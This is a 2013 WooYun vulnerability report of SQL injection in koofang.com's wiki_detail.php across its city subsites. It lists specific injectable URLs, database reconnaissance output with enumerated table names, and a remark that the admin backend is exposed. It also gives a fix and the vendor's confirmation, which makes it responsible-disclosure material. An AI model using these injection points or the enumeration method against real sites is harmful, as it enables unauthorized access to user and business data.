当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-022028

漏洞标题:酷房网某处安全问题通杀全国各地站点,已近后台..

相关厂商:koofang.com

漏洞作者: 带馅儿馒头

提交时间:2013-04-17 17:01

修复时间:2013-06-01 17:01

公开时间:2013-06-01 17:01

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-17: 细节已通知厂商并且等待厂商处理中
2013-04-22: 厂商已经确认,细节仅向厂商公开
2013-05-02: 细节向核心白帽子及相关领域专家公开
2013-05-12: 细节向普通白帽子公开
2013-05-22: 细节向实习白帽子公开
2013-06-01: 细节向公众公开

简要描述:

酷房网某处安全问题通杀全国各地站点

详细说明:

1.存在的注入点为:http://xxx.koofang.com/wiki/wiki_detail.php?id=xxx,wiki_datail.php函数存在问题,通杀全国酷房站点;
2.测试了以下站点均存在同样的问题,而且管理员的用户名、密码全一样!!!

http://beijing.koofang.com/wiki/wiki_detail.php?id=126
http://shanghai.koofang.com/wiki/wiki_detail.php?id=74
http://chengdu.koofang.com/wiki/wiki_detail.php?id=92


3.跑了下表;

Current DB: fang_utf8_beijing
Current User: fangutf8@192.168.0.21
Sql Version: 5.1.63-log
Current DB: fang_utf8_beijing
System User: fangutf8@192.168.0.21
Host Name: Mysql_15
Installation dir: /usr/local/mysql-5.1.63/
Db user: 'fangutf8'@'192.168.0.%'
Data Base Found: information_schema
Data Base Found: fang_utf8_beijing
Data Base Found: test


Table found: access_up_1000
Table found: answer_log
Table found: answer_one_detail
Table found: answer_two_detail
Table found: bad_price_sell
Table found: borough_info_day
Table found: c21_best
Table found: editor_borough_house
Table found: editor_hotbbs
Table found: editor_index_house
Table found: editor_search_house
Table found: fke_ads
Table found: fke_ads_place
Table found: fke_ads_stat
Table found: fke_all_pv
Table found: fke_auction_item
Table found: fke_bid
Table found: fke_borough
Table found: fke_borough_adviser
Table found: fke_borough_avgprice
Table found: fke_borough_bak
Table found: fke_borough_day
Table found: fke_borough_draw
Table found: fke_borough_draw_bak
Table found: fke_borough_evaluate
Table found: fke_borough_info
Table found: fke_borough_info_bak
Table found: fke_borough_intention
Table found: fke_borough_log
Table found: fke_borough_pic
Table found: fke_borough_pic_bak
Table found: fke_borough_trend
I got bored of waiting more than 60 seconds! (request timed out)
Bypassing illegal union failed! Turning off this feature
Table found: fke_borough_update
Table found: fke_broker_aptitude
Table found: fke_broker_avatar
Table found: fke_broker_avatar_bak
Table found: fke_broker_friends
Table found: fke_broker_identity
Table found: fke_broker_info
Table found: fke_broker_info_bak
Table found: fke_broker_recommend
Table found: fke_broker_star
Table found: fke_broker_storemanager
Table found: fke_broker_transactionreport
Table found: fke_broker_use
Table found: fke_broker_use_bak
Table found: fke_chart_new_house
Table found: fke_community_bid
Table found: fke_community_bid_bak
Table found: fke_community_bid_history
Table found: fke_community_bid_rs
Table found: fke_community_bid_rs_bak
Table found: fke_community_bid_rs_temp
Table found: fke_count_edm
Table found: fke_count_zt
Table found: fke_dd
Table found: fke_dd_item
Table found: fke_dotime
Table found: fke_ent_broker_fee
Table found: fke_ent_company
Table found: fke_ent_fee
Table found: fke_ent_region
Table found: fke_ent_sftokoo_borough
Table found: fke_ent_store
Table found: fke_ent_storemanager
Table found: fke_ent_user
Table found: fke_ent_user_part
Table found: fke_gold_log
Table found: fke_gold_log_bak
Table found: fke_group
Table found: fke_hexun_click
Table found: fke_hot_borough
Table found: fke_hot_borough_tmp
Table found: fke_hotsearch
Table found: fke_house_agent
Table found: fke_house_wanted
Table found: fke_house_wantedreply
Table found: fke_housecommunity_hits
Table found: fke_houserent
Table found: fke_houserent_bak
Table found: fke_houserent_bargain
Table found: fke_houserent_cache
Table found: fke_houserent_delete
Table found: fke_houserent_expired_computer
Table found: fke_houserent_pic
Table found: fke_houserent_refresh_cache
Table found: fke_houserent_stat
Table found: fke_houserent_stat_temp
Table found: fke_houserent_tag
Table found: fke_houserent_top
Table found: fke_housesell
Table found: fke_housesell_bak
Table found: fke_housesell_bargain
Table found: fke_housesell_cache
Table found: fke_housesell_delete
Table found: fke_housesell_expired_computer
Table found: fke_housesell_for_explain
Table found: fke_housesell_pic
Table found: fke_housesell_refresh_cache
Table found: fke_housesell_stat
Table found: fke_housesell_stat_tmp
Table found: fke_housesell_tag
Table found: fke_housesell_top
Table found: fke_housesell_trend
Table found: fke_index_view
Table found: fke_innernote
Table found: fke_integral_log
Table found: fke_integral_log_bak
Table found: fke_integral_rule
Table found: fke_linkclass
Table found: fke_member
Table found: fke_member_bak
Table found: fke_member_likun
Table found: fke_member_loginlog
Table found: fke_message_rule
Table found: fke_money_log
Table found: fke_outlink
Table found: fke_owner_info
Table found: fke_pinggu
Table found: fke_pinggu_dd
Table found: fke_pinggu_dd_item
Table found: fke_pv
Table found: fke_report
Table found: fke_sendSMS
Table found: fke_sendmsg_log
Table found: fke_shop_conf
Table found: fke_shop_viewlog
Table found: fke_special
Table found: fke_statistics
Table found: fke_themes
Table found: fke_themes_detail
Table found: fke_timer_refresh_object_all
Table found: fke_timer_refresh_object_all_test
Table found: fke_timer_refresh_object_daily
Table found: fke_timer_refresh_object_daily_test
Table found: fke_timer_solution
Table found: fke_timer_solution_detail
Table found: fke_user3
Table found: fke_users
Table found: fke_yizhuang_house
Table found: houserent_sphinxse
Table found: housesell_sphinxse
I got bored of waiting more than 60 seconds! (request timed out)
Table found: iplib
Table found: operat_log
Table found: photo_pics
Table found: photo_score_log
Table found: photo_theme
Table found: photo_vote
Table found: record_refresh
Table found: refresh_nums
Table found: report_borough_count_simple_daily
Table found: report_borough_count_simple_monthly
Table found: report_borough_monthly_temporary
Table found: report_borough_temporary
Table found: report_broker_count_simple_daily
Table found: report_broker_monthscore
Table found: report_broker_monthscore_leave
Table found: report_broker_temporary
Table found: sis_department
Table found: sis_department_bak
Table found: sis_header_temp
Table found: sis_levelchange
Table found: sis_shop
Table found: sis_shop_bak
Table found: soufuntokoofang
Table found: sph_office_rent_counter
Table found: sph_office_sell_counter
Table found: sph_rent_counter
Table found: sph_rent_modify_counter
Table found: sph_sell_counter
Table found: sph_sell_modify_counter
Table found: sph_shop_rent_counter
Table found: sph_shop_sell_counter
Table found: test1
Table found: testrent_temp
Table found: testsell_temp
Table found: texts
Table found: tmp_fke_houserent
Table found: tmp_fke_housesell
Table found: wiki_article
Table found: wiki_catalog
Table found: wiki_tag


4.后台很好猜测,都对外开放;

1.png


3.png

漏洞证明:

见详细说明

修复方案:

过滤用户输入,限制后台访问

版权声明:转载请注明来源 带馅儿馒头@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2013-04-22 09:37

厂商回复:

正在紧急修复,感谢~

最新状态:

暂无